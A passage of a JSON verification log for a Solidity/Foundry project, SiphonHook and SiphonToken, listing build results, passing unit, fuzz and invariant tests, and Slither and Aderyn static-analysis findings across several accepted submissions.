0.8.26 finished in 21.22s\nCompiler run successful!\n","passed":true},{"durationMs":208,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/HookFlags.t.sol:HookFlagsTest\n[PASS] testFuzz_matchesIgnoresBitsAboveTheMask(uint160,uint160) (runs: 256, μ: 256, ~: 256)\n[PASS] test_constantsAgreeWithV4Core() (gas: 165)\n[PASS] test_flagsOfReadsTheLowFourteenBits() (gas: 499)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.06ms (1.05ms CPU time)\n\nRan 8 tests for test/SiphonToken.t.sol:SiphonTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 78408, ~: 78614)\n[PASS] test_metadata() (gas: 24659)\n[PASS] test_noMintBurnOwnerOrPauseEntryPoints() (gas: 200640)\n[PASS] test_transferBeyondBalanceReverts() (gas: 37740)\n[PASS] test_transferFromWithAllowance() (gas: 183541)\n[PASS] test_transferFromWithoutAllowanceReverts() (gas: 92804)\n[PASS] test_transferMovesExactly() (gas: 80050)\n[PASS] test_wholeSupplyMintedToDeployer() (gas: 23928)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 3.78ms (3.91ms CPU time)\n\nRan 2 tests for test/DeploySiphon.t.sol:DeploySiphonTest\n[PASS] test_deployTokenMintsToTheCaller() (gas: 2068870)\n[PASS] test_mineSaltAndDeployLandOnTheFlags() (gas: 46569007)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 51.33ms (34.56ms CPU time)\n\nRan 37 tests for test/SiphonHook.t.sol:SiphonHookTest\n[PASS] testFuzz_anchorValuesPassThroughUnchanged(uint160,int24) (runs: 256, μ: 394666, ~: 394560)\n[PASS] testFuzz_exactInputSwapsReportConsistentData(uint256,bool,bool) (runs: 256, μ: 210331, ~: 168438)\n[PASS] testFuzz_exactOutputSwapsReportFeeOnWhatWasPaid(uint256,bool) (runs: 256, μ: 165449, ~: 164944)\n[PASS] testFuzz_onlyTheOwnerAdministers(address) (runs: 256, μ: 85925, ~: 86092)\n[PASS] test_afterSwapFeeUsesThePaidSide() (gas: 64855)\n[PASS] test_afterSwapHashesTheKeyItWasGiven() (gas: 70755)\n[PASS] test_afterSwapWithNothingPaidReportsZeroFee() (gas: 65166)\n[PASS] test_anchorNegativeTickIsSignExtended() (gas: 395507)\n[PASS] test_anchorPoolIdIsWhatIsAsked() (gas: 235426)\n[PASS] test_anchorReadThroughAStateViewLikeContract() (gas: 264305)\n[PASS] test_anchorThatRevertsDoesNotBlockTheSwap() (gas: 357839)\n[PASS] test_anchorWithShortAnswerReadsAsZero() (gas: 324849)\n[PASS] test_anchorWithoutCodeReadsAsZero() (gas: 237434)\n[PASS] test_anyoneCanOpenAnotherPoolOnTheHook() (gas: 74623)\n[PASS] test_beforeInitializeReturnsItsSelector() (gas: 20009)\n[PASS] test_blockNumberIsTheIndexedTopic() (gas: 152655)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 84341)\n[PASS] test_clearingTheAnchorStopsTheRead() (gas: 261860)\n[PASS] test_constructorRejectsAnAddressWithoutItsFlags() (gas: 8614)\n[PASS] test_constructorRejectsZeroOwner() (gas: 6746)\n[PASS] test_constructorState() (gas: 44638)\n[PASS] test_everySwapEmitsOnce() (gas: 394940)\n[PASS] test_exactInputBuyEmitsPoolDataWithoutAnchor() (gas: 168045)\n[PASS] test_exactInputSellEmitsPoolData() (gas: 164573)\n[PASS] test_exactOutputSwapReportsPositiveAmountAndFeeOnInput() (gas: 165489)\n[PASS] test_factoryCollectsFeesWithAZeroLiquidityChange() (gas: 404686)\n[PASS] test_hookHasNoReceiveOrFallback() (gas: 55452)\n[PASS] test_hookTakesNothingAndHoldsNothing() (gas: 200738)\n[PASS] test_liquidityCanBeRemoved() (gas: 117916)\n[PASS] test_pauseSilencesEmissionButNeverBlocksSwaps() (gas: 317396)\n[PASS] test_pausedHookSkipsTheAnchorCall() (gas: 349357)\n[PASS] test_permissionsMatchTheAddress() (gas: 8635)\n[PASS] test_runtimeHasNoDelegatecallOrSelfdestruct() (gas: 743494)\n[PASS] test_runtimeIsUnderTwoKilobytes() (gas: 5487)\n[PASS] test_setAnchorOnlyOwner() (gas: 157185)\n[PASS] test_setPausedOnlyOwner() (gas: 111546)\n[PASS] test_transferOwnership() (gas: 164918)\nSuite result: ok. 37 passed; 0 failed; 0 skipped; finished in 52.14ms (97.91ms CPU time)\n\nRan 4 test suites in 53.84ms (108.30ms CPU time): 50 tests passed, 0 failed, 0 skipped (50 total tests)\n","passed":true},{"durationMs":80,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SiphonHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SiphonHook.setAnchor(address,bytes32)\",\"SiphonHook.setPaused(bool)\",\"SiphonHook.transferOwnership(address)\",\"SiphonToken.approve(address,uint256)\",\"SiphonToken.transfer(address,uint256)\",\"SiphonToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":236,\"foundry.toml\":21,\"launch.json\":27,\"remappings.txt\":4,\"script/DeploySiphon.s.sol\":53,\"src/HookFlags.sol\":35,\"src/SiphonHook.sol\":215,\"src/SiphonToken.sol\":16,\"test/DeploySiphon.t.sol\":31,\"test/HookFlags.t.sol\":41,\"test/SiphonHook.t.sol\":634,\"test/SiphonToken.t.sol\":97,\"test/floor/OwnerChecks.sol\":27,\"test/mocks/AnchorView.sol\":59,\"test/mocks/LiquidityRouter.sol\":60,\"test/mocks/MockERC20.sol\":15,\"test/mocks/Swapper.sol\":65},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"b56fd4d4708a0e5e6542e92bbdafcce3debea4a2e21f2b85a45dd45784414a75","verifiedTreeHash":"6b8be865fc569fed743248e97deeabf83a4071f5","verifierVersion":"0.1.0+1d98f47e"},{"checks":[{"durationMs":21465,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 21.34s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/SiphonHook.sol:219:9:\n    |\n219 |         bytes32 poolId = anchorPoolId;\n    |         ^^^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/SiphonHook.sol:38:5:\n   |\n38 |     bytes32 public poolId;\n   |     ^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":266,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/DeploySiphon.t.sol:DeploySiphonTest\n[PASS] test_deployTokenMintsToTheCaller() (gas: 2084025)\n[PASS] test_mineSaltAndDeployLandOnTheFlags() (gas: 6402581)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.44ms (2.12ms CPU time)\n\nRan 3 tests for test/HookFlags.t.sol:HookFlagsTest\n[PASS] testFuzz_matchesIgnoresBitsAboveTheMask(uint160,uint160) (runs: 256, μ: 256, ~: 256)\n[PASS] test_constantsAgreeWithV4Core() (gas: 165)\n[PASS] test_flagsOfReadsTheLowFourteenBits() (gas: 499)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 3.21ms (3.22ms CPU time)\n\nRan 8 tests for test/SiphonToken.t.sol:SiphonTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 78339, ~: 78614)\n[PASS] test_metadata() (gas: 24659)\n[PASS] test_noMintBurnOwnerOrPauseEntryPoints() (gas: 200640)\n[PASS] test_transferBeyondBalanceReverts() (gas: 37740)\n[PASS] test_transferFromWithAllowance() (gas: 183541)\n[PASS] test_transferFromWithoutAllowanceReverts() (gas: 92804)\n[PASS] test_transferMovesExactly() (gas: 80050)\n[PASS] test_wholeSupplyMintedToDeployer() (gas: 23928)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 3.31ms (3.87ms CPU time)\n\nRan 39 tests for test/SiphonHook.t.sol:SiphonHookTest\n[PASS] testFuzz_anchorValuesPassThroughUnchanged(uint160,int24) (runs: 256, μ: 396750, ~: 396658)\n[PASS] testFuzz_exactInputSwapsReportConsistentData(uint256,bool,bool) (runs: 256, μ: 212343, ~: 170466)\n[PASS] testFuzz_exactOutputSwapsReportFeeOnWhatWasPaid(uint256,bool) (runs: 256, μ: 167522, ~: 167017)\n[PASS] testFuzz_onlyTheOwnerAdministers(address) (runs: 256, μ: 85991, ~: 86158)\n[PASS] test_afterSwapFeeUsesThePaidSide() (gas: 66928)\n[PASS] test_afterSwapReadsTheRecordedPool() (gas: 78910)\n[PASS] test_afterSwapWithNothingPaidReportsZeroFee() (gas: 67209)\n[PASS] test_anchorNegativeTickIsSignExtended() (gas: 397565)\n[PASS] test_anchorPoolIdIsWhatIsAsked() (gas: 237500)\n[PASS] test_anchorReadThroughAStateViewLikeContract() (gas: 266305)\n[PASS] test_anchorThatBurnsItsGasCostsTheSwapAtMostTheStipend() (gas: 493903)\n[PASS] test_anchorThatRevertsDoesNotBlockTheSwap() (gas: 359896)\n[PASS] test_anchorWithShortAnswerReadsAsZero() (gas: 326884)\n[PASS] test_anchorWithoutCodeReadsAsZero() (gas: 239459)\n[PASS] test_beforeInitializeReturnsItsSelectorAndRecordsTheFirstPoolOnly() (gas: 13572147)\n[PASS] test_blockNumberIsTheIndexedTopic() (gas: 154684)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 94180)\n[PASS] test_clearingTheAnchorStopsTheRead() (gas: 263933)\n[PASS] test_constructorRejectsAnAddressWithoutItsFlags() (gas: 8658)\n[PASS] test_constructorRejectsZeroOwner() (gas: 6722)\n[PASS] test_constructorState() (gas: 52277)\n[PASS] test_everySwapEmitsOnce() (gas: 401071)\n[PASS] test_exactInputBuyEmitsPoolDataWithoutAnchor() (gas: 170118)\n[PASS] test_exactInputSellEmitsPoolData() (gas: 166628)\n[PASS] test_exactOutputSwapReportsPositiveAmountAndFeeOnInput() (gas: 167540)\n[PASS] test_factoryCollectsFeesWithAZeroLiquidityChange() (gas: 408742)\n[PASS] test_hookHasNoReceiveOrFallback() (gas: 55452)\n[PASS] test_hookTakesNothingAndHoldsNothing() (gas: 202743)\n[PASS] test_liquidityCanBeRemoved() (gas: 117938)\n[PASS] test_nobodyCanOpenAnotherPoolOnTheHook() (gas: 93807)\n[PASS] test_pauseSilencesEmissionButNeverBlocksSwaps() (gas: 319401)\n[PASS] test_pausedHookSkipsTheAnchorCall() (gas: 349423)\n[PASS] test_permissionsMatchTheAddress() (gas: 8680)\n[PASS] test_runtimeHasNoDelegatecallOrSelfdestruct() (gas: 769035)\n[PASS] test_runtimeIsUnderTwoKilobytes() (gas: 5509)\n[PASS] test_setAnchorOnlyOwner() (gas: 157204)\n[PASS] test_setPausedOnlyOwner() (gas: 111586)\n[PASS] test_strangerCannotForgePoolDataThroughAnEmptyPool() (gas: 496501)\n[PASS] test_transferOwnership() (gas: 165072)\nSuite result: ok. 39 passed; 0 failed; 0 skipped; finished in 115.02ms (153.11ms CPU time)\n\nRan 4 test suites in 116.77ms (123.97ms CPU time): 52 tests passed, 0 failed, 0 skipped (52 total tests)\n","passed":true},{"durationMs":87,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SiphonHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SiphonHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SiphonHook.setAnchor(address,bytes32)\",\"SiphonHook.setPaused(bool)\",\"SiphonHook.transferOwnership(address)\",\"SiphonToken.approve(address,uint256)\",\"SiphonToken.transfer(address,uint256)\",\"SiphonToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":267,\"foundry.toml\":21,\"launch.json\":27,\"remappings.txt\":4,\"script/DeploySiphon.s.sol\":53,\"src/HookFlags.sol\":35,\"src/SiphonHook.sol\":232,\"src/SiphonToken.sol\":16,\"test/DeploySiphon.t.sol\":31,\"test/HookFlags.t.sol\":41,\"test/SiphonHook.t.sol\":696,\"test/SiphonToken.t.sol\":97,\"test/floor/OwnerChecks.sol\":27,\"test/mocks/AnchorView.sol\":68,\"test/mocks/DustSwapper.sol\":31,\"test/mocks/LiquidityRouter.sol\":60,\"test/mocks/MockERC20.sol\":15,\"test/mocks/Swapper.sol\":65},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c05737ec2fb7068e07e048f4a9888ff985038335fbd7df8708bdedda54754768","verifiedTreeHash":"6bc307bb77044929715cf75bc0772e1872f5ed09","verifierVersion":"0.1.0+1d98f47e"},{"checks":[{"durationMs":20476,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 20.35s\nCompiler run successful!\n","passed":true},{"durationMs":194,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/HookFlags.t.sol:HookFlagsTest\n[PASS] testFuzz_matchesIgnoresBitsAboveTheMask(uint160,uint160) (runs: 256, μ: 256, ~: 256)\n[PASS] test_constantsAgreeWithV4Core() (gas: 165)\n[PASS] test_flagsOfReadsTheLowFourteenBits() (gas: 499)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.83ms (1.81ms CPU time)\n\nRan 8 tests for test/SiphonToken.t.sol:SiphonTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 78408, ~: 78614)\n[PASS] test_metadata() (gas: 24659)\n[PASS] test_noMintBurnOwnerOrPauseEntryPoints() (gas: 200640)\n[PASS] test_transferBeyondBalanceReverts() (gas: 37740)\n[PASS] test_transferFromWithAllowance() (gas: 183541)\n[PASS] test_transferFromWithoutAllowanceReverts() (gas: 92804)\n[PASS] test_transferMovesExactly() (gas: 80050)\n[PASS] test_wholeSupplyMintedToDeployer() (gas: 23928)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 8.48ms (5.09ms CPU time)\n\nRan 2 tests for test/DeploySiphon.t.sol:DeploySiphonTest\n[PASS] test_deployTokenMintsToTheCaller() (gas: 2068870)\n[PASS] test_mineSaltAndDeployLandOnTheFlags() (gas: 46569007)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 51.66ms (43.03ms CPU time)\n\nRan 37 tests for test/SiphonHook.t.sol:SiphonHookTest\n[PASS] testFuzz_anchorValuesPassThroughUnchanged(uint160,int24) (runs: 256, μ: 394666, ~: 394560)\n[PASS] testFuzz_exactInputSwapsReportConsistentData(uint256,bool,bool) (runs: 256, μ: 210331, ~: 168438)\n[PASS] testFuzz_exactOutputSwapsReportFeeOnWhatWasPaid(uint256,bool) (runs: 256, μ: 165449, ~: 164944)\n[PASS] testFuzz_onlyTheOwnerAdministers(address) (runs: 256, μ: 85925, ~: 86092)\n[PASS] test_afterSwapFeeUsesThePaidSide() (gas: 64855)\n[PASS] test_afterSwapHashesTheKeyItWasGiven() (gas: 70755)\n[PASS] test_afterSwapWithNothingPaidReportsZeroFee() (gas: 65166)\n[PASS] test_anchorNegativeTickIsSignExtended() (gas: 395507)\n[PASS] test_anchorPoolIdIsWhatIsAsked() (gas: 235426)\n[PASS] test_anchorReadThroughAStateViewLikeContract() (gas: 264305)\n[PASS] test_anchorThatRevertsDoesNotBlockTheSwap() (gas: 357839)\n[PASS] test_anchorWithShortAnswerReadsAsZero() (gas: 324849)\n[PASS] test_anchorWithoutCodeReadsAsZero() (gas: 237434)\n[PASS] test_anyoneCanOpenAnotherPoolOnTheHook() (gas: 74623)\n[PASS] test_beforeInitializeReturnsItsSelector() (gas: 20009)\n[PASS] test_blockNumberIsTheIndexedTopic() (gas: 152655)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 84341)\n[PASS] test_clearingTheAnchorStopsTheRead() (gas: 261860)\n[PASS] test_constructorRejectsAnAddressWithoutItsFlags() (gas: 8614)\n[PASS] test_constructorRejectsZeroOwner() (gas: 6746)\n[PASS] test_constructorState() (gas: 44638)\n[PASS] test_everySwapEmitsOnce() (gas: 394940)\n[PASS] test_exactInputBuyEmitsPoolDataWithoutAnchor() (gas: 168045)\n[PASS] test_exactInputSellEmitsPoolData() (gas: 164573)\n[PASS] test_exactOutputSwapReportsPositiveAmountAndFeeOnInput() (gas: 165489)\n[PASS] test_factoryCollectsFeesWithAZeroLiquidityChange() (gas: 404686)\n[PASS] test_hookHasNoReceiveOrFallback() (gas: 55452)\n[PASS] test_hookTakesNothingAndHoldsNothing() (gas: 200738)\n[PASS] test_liquidityCanBeRemoved() (gas: 117916)\n[PASS] test_pauseSilencesEmissionButNeverBlocksSwaps() (gas: 317396)\n[PASS] test_pausedHookSkipsTheAnchorCall() (gas: 349357)\n[PASS] test_permissionsMatchTheAddress() (gas: 8635)\n[PASS] test_runtimeHasNoDelegatecallOrSelfdestruct() (gas: 743494)\n[PASS] test_runtimeIsUnderTwoKilobytes() (gas: 5487)\n[PASS] test_setAnchorOnlyOwner() (gas: 157185)\n[PASS] test_setPausedOnlyOwner() (gas: 111546)\n[PASS] test_transferOwnership() (gas: 164918)\nSuite result: ok. 37 passed; 0 failed; 0 skipped; finished in 52.50ms (89.76ms CPU time)\n\nRan 4 test suites in 54.24ms (114.47ms CPU time): 50 tests passed, 0 failed, 0 skipped (50 total tests)\n","passed":true},{"durationMs":85,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SiphonHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SiphonHook.setAnchor(address,bytes32)\",\"SiphonHook.setPaused(bool)\",\"SiphonHook.transferOwnership(address)\",\"SiphonToken.approve(address,uint256)\",\"SiphonToken.transfer(address,uint256)\",\"SiphonToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":236,\"foundry.toml\":21,\"remappings.txt\":4,\"script/DeploySiphon.s.sol\":53,\"src/HookFlags.sol\":35,\"src/SiphonHook.sol\":215,\"src/SiphonToken.sol\":16,\"test/DeploySiphon.t.sol\":31,\"test/HookFlags.t.sol\":41,\"test/SiphonHook.t.sol\":634,\"test/SiphonToken.t.sol\":97,\"test/floor/OwnerChecks.sol\":27,\"test/mocks/AnchorView.sol\":59,\"test/mocks/LiquidityRouter.sol\":60,\"test/mocks/MockERC20.sol\":15,\"test/mocks/Swapper.sol\":65},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2562,"exitCode":0,"name":"slither","output":"[medium/medium] unused-return at src/SiphonHook.sol:155: SiphonHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/SiphonHook.sol#155-195) ignores return value by (sqrtPriceSelf,tickSelf,None,lpFee) = poolManager.getSlot0(id) (src/SiphonHook.sol#167)\n[low/medium] missing-zero-check at src/SiphonHook.sol:90: SiphonHook.setAnchor(address,bytes32).anchor_ (src/SiphonHook.sol#90) lacks a zero-check on :","passed":true},{"durationMs":798,"exitCode":0,"name":"aderyn","output":"[high] yul-return at src/SiphonHook.sol:122: Yul block contains `return`\n[low] centralization-risk at src/SiphonHook.sol:90: Centralization Risk (3 places)\n[low] internal-function-used-once at src/HookFlags.sol:27: Internal Function Used Only Once\n[low] large-numeric-literal at src/SiphonHook.sol:177: Large Numeric Literal (2 places)\n[low] state-no-address-check at src/SiphonHook.sol:91: Address State Variable Set Without Checks","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"cc948e39dfdf6868a768e677f235e5bddbd7bebfe983d671744a66864e002be9","verifiedTreeHash":"aa732decd811578c3040bec3a42de4948bb16177","verifierVersion":"0.1.0+1d98f47e"},{"checks":[{"durationMs":42317,"exitCode":0,"name":"build","output":"Compiling 89 files with Solc 0.8.26\nSolc 0.8.26 finished in 42.18s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/SiphonHook.sol:219:9:\n    |\n219 |         bytes32 poolId = anchorPoolId;\n    |         ^^^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/SiphonHook.sol:38:5:\n   |\n38 |     bytes32 public poolId;\n   |     ^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":2970,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/HookFlags.t.sol:HookFlagsTest\n[PASS] testFuzz_matchesIgnoresBitsAboveTheMask(uint160,uint160) (runs: 256, μ: 256, ~: 256)\n[PASS] test_constantsAgreeWithV4Core() (gas: 165)\n[PASS] test_flagsOfReadsTheLowFourteenBits() (gas: 499)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.03ms (1.03ms CPU time)\n\nRan 2 tests for test/DeploySiphon.t.sol:DeploySiphonTest\n[PASS] test_deployTokenMintsToTheCaller() (gas: 2084025)\n[PASS] test_mineSaltAndDeployLandOnTheFlags() (gas: 6402581)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.18ms (3.01ms CPU time)\n\nRan 8 tests for test/SiphonToken.t.sol:SiphonTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 78341, ~: 78614)\n[PASS] test_metadata() (gas: 24659)\n[PASS] test_noMintBurnOwnerOrPauseEntryPoints() (gas: 200640)\n[PASS] test_transferBeyondBalanceReverts() (gas: 37740)\n[PASS] test_transferFromWithAllowance() (gas: 183541)\n[PASS] test_transferFromWithoutAllowanceReverts() (gas: 92804)\n[PASS] test_transferMovesExactly() (gas: 80050)\n[PASS] test_wholeSupplyMintedToDeployer() (gas: 23928)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 3.57ms (4.02ms CPU time)\n\nRan 39 tests for test/SiphonHook.t.sol:SiphonHookTest\n[PASS] testFuzz_anchorValuesPassThroughUnchanged(uint160,int24) (runs: 256, μ: 396750, ~: 396658)\n[PASS] testFuzz_exactInputSwapsReportConsistentData(uint256,bool,bool) (runs: 256, μ: 212341, ~: 170466)\n[PASS] testFuzz_exactOutputSwapsReportFeeOnWhatWasPaid(uint256,bool) (runs: 256, μ: 167523, ~: 167017)\n[PASS] testFuzz_onlyTheOwnerAdministers(address) (runs: 256, μ: 85991, ~: 86158)\n[PASS] test_afterSwapFeeUsesThePaidSide() (gas: 66928)\n[PASS] test_afterSwapReadsTheRecordedPool() (gas: 78910)\n[PASS] test_afterSwapWithNothingPaidReportsZeroFee() (gas: 67209)\n[PASS] test_anchorNegativeTickIsSignExtended() (gas: 397565)\n[PASS] test_anchorPoolIdIsWhatIsAsked() (gas: 237500)\n[PASS] test_anchorReadThroughAStateViewLikeContract() (gas: 266305)\n[PASS] test_anchorThatBurnsItsGasCostsTheSwapAtMostTheStipend() (gas: 493903)\n[PASS] test_anchorThatRevertsDoesNotBlockTheSwap() (gas: 359896)\n[PASS] test_anchorWithShortAnswerReadsAsZero() (gas: 326884)\n[PASS] test_anchorWithoutCodeReadsAsZero() (gas: 239459)\n[PASS] test_beforeInitializeReturnsItsSelectorAndRecordsTheFirstPoolOnly() (gas: 13572147)\n[PASS] test_blockNumberIsTheIndexedTopic() (gas: 154684)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 94180)\n[PASS] test_clearingTheAnchorStopsTheRead() (gas: 263933)\n[PASS] test_constructorRejectsAnAddressWithoutItsFlags() (gas: 8658)\n[PASS] test_constructorRejectsZeroOwner() (gas: 6722)\n[PASS] test_constructorState() (gas: 52277)\n[PASS] test_everySwapEmitsOnce() (gas: 401071)\n[PASS] test_exactInputBuyEmitsPoolDataWithoutAnchor() (gas: 170118)\n[PASS] test_exactInputSellEmitsPoolData() (gas: 166628)\n[PASS] test_exactOutputSwapReportsPositiveAmountAndFeeOnInput() (gas: 167540)\n[PASS] test_factoryCollectsFeesWithAZeroLiquidityChange() (gas: 408742)\n[PASS] test_hookHasNoReceiveOrFallback() (gas: 55452)\n[PASS] test_hookTakesNothingAndHoldsNothing() (gas: 202743)\n[PASS] test_liquidityCanBeRemoved() (gas: 117938)\n[PASS] test_nobodyCanOpenAnotherPoolOnTheHook() (gas: 93807)\n[PASS] test_pauseSilencesEmissionButNeverBlocksSwaps() (gas: 319401)\n[PASS] test_pausedHookSkipsTheAnchorCall() (gas: 349423)\n[PASS] test_permissionsMatchTheAddress() (gas: 8680)\n[PASS] test_runtimeHasNoDelegatecallOrSelfdestruct() (gas: 769035)\n[PASS] test_runtimeIsUnderTwoKilobytes() (gas: 5509)\n[PASS] test_setAnchorOnlyOwner() (gas: 157204)\n[PASS] test_setPausedOnlyOwner() (gas: 111586)\n[PASS] test_strangerCannotForgePoolDataThroughAnEmptyPool() (gas: 496501)\n[PASS] test_transferOwnership() (gas: 165072)\nSuite result: ok. 39 passed; 0 failed; 0 skipped; finished in 1.19s (1.34s CPU time)\n\nRan 31 tests for test/SiphonHookEdges.t.sol:SiphonHookEdgesTest\n[PASS] testFuzz_anchorIsAskedForExactlyTheStoredPoolId(bytes32) (runs: 256, μ: 342394, ~: 342577)\n[PASS] testFuzz_beforeInitializeRecordsExactlyThePoolIdOfTheKeyGiven(address,address,uint24,int24,uint160,bytes32) (runs: 500, μ: 4665159, ~: 4665261)\n[PASS] testFuzz_dirtyAnchorWordsAreNarrowedNotTrusted(uint256,uint256) (runs: 256, μ: 386617, ~: 386578)\n[PASS] testFuzz_feeAmountIsTheLpFeeThePoolCharged(uint256,bool,bool) (runs: 1000, μ: 185336, ~: 183199)\n[PASS] testFuzz_nobodyOpensASecondPoolOnTheLaunchHook(uint256,uint24,int24) (runs: 300, μ: 236805, ~: 236126)\n[PASS] testFuzz_unitFeeComesOnlyFromTheNegativePaidSide(int128,int128,bool) (runs: 256, μ: 67539, ~: 67533)\n[PASS] test_anchorOnAnUninitializedPoolReadsAsZero() (gas: 421352)\n[PASS] test_anchorPointingAtTheHookItselfReadsAsZero() (gas: 233015)\n[PASS] test_anchorPointingAtThePoolManagerReadsAsZero() (gas: 238230)\n[PASS] test_anchorPoolIdWithoutAnAnchorAddressIsNotRead() (gas: 210373)\n[PASS] test_anchorThatWritesStateCannotAndReadsAsZero() (gas: 407111)\n[PASS] test_anchorWithOversizedAnswerReadsTheFirstTwoWords() (gas: 355931)\n[PASS] test_beforeInitializeAcceptsThePolicyFeeFromTheManagerOnly() (gas: 4737704)\n[PASS] test_dynamicFeePoolWithNoFeeSetReportsZeroFee() (gas: 5136937)\n[PASS] test_eachPoolDataFollowsTheManagersSwapEventForItsHooksPool() (gas: 5444876)\n[PASS] test_failedAdminCallsChangeNothing() (gas: 84561)\n[PASS] test_gasBurningAnchorReadsAsZeroAndClearingItRestoresTheCost() (gas: 508635)\n[PASS] test_longHookDataDoesNotShiftThePoolKey() (gas: 291534)\n[PASS] test_maximumLpFeeReportsTheWholeInputAsFee() (gas: 5113687)\n[PASS] test_pausedUnitCallStillReturnsTheSelectorAndNoDelta() (gas: 79308)\n[PASS] test_poolManagerAndFactoryAreNotAdmins() (gas: 164430)\n[PASS] test_previousOwnerLosesEveryPower() (gas: 119767)\n[PASS] test_priceLimitedPartialFillReportsFeeOnWhatWasActuallyPaid() (gas: 172134)\n[PASS] test_reinitializingTheLaunchPoolIsRefusedAndChangesNothing() (gas: 61304)\n[PASS] test_settersAreIdempotentAndEmitEveryTime() (gas: 421497)\n[PASS] test_swapLeavingTheLiquidityRangeReportsZeroLiquidity() (gas: 5178017)\n[PASS] test_swapsAcrossBlocksCarryTheirOwnBlockNumber() (gas: 288550)\n[PASS] test_transferOwnershipToSelfKeepsControl() (gas: 80130)\n[PASS] test_unitAfterSwapBeforeAnyPoolReadsAnEmptyPool() (gas: 4665729)\n[PASS] test_unitAfterSwapWithAForeignKeyStillDescribesTheRecordedPool() (gas: 133117)\n[PASS] test_unitDeltaAtTheInt128Edge() (gas: 66985)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 1.38s (1.94s CPU time)\n\nRan 1 test for test/invariant/SiphonHook.invariant.t.sol:SiphonInvariantTest\n[PASS]\nSiphonInvariantTest invariants:\n[PASS] invariant_adminStateIsExactlyWhatTheOwnerSet\n[PASS] invariant_everySwapRecordMatchesThePool\n[PASS] invariant_hookHoldsNothing\n[PASS] invariant_oneRecordPerUnpausedSwapAndNoneOtherwise\n[PASS] invariant_theHookServesTheLaunchPoolForever\n[PASS] invariant_thePoolStaysLiveWithItsLiquidity\n[PASS] invariant_tokenSupplyIsFixedAndFullyAccounted\n SiphonInvariantTest invariants (runs: 256, calls: 10240, reverts: 0)\n\n╭---------------+-------------------+-------+---------+----------╮\n| Contract      | Selector          | Calls | Reverts | Discards |\n+================================================================+\n| SiphonHandler | collect           | 1124  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | moveTokens        | 1117  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | openAnotherPool   | 1137  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | pokeCallback      | 1138  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | roll              | 1144  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | setAnchor         | 1129  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | setPaused         | 1149  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | swap              | 1176  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | transferOwnership | 1126  | 0       | 0        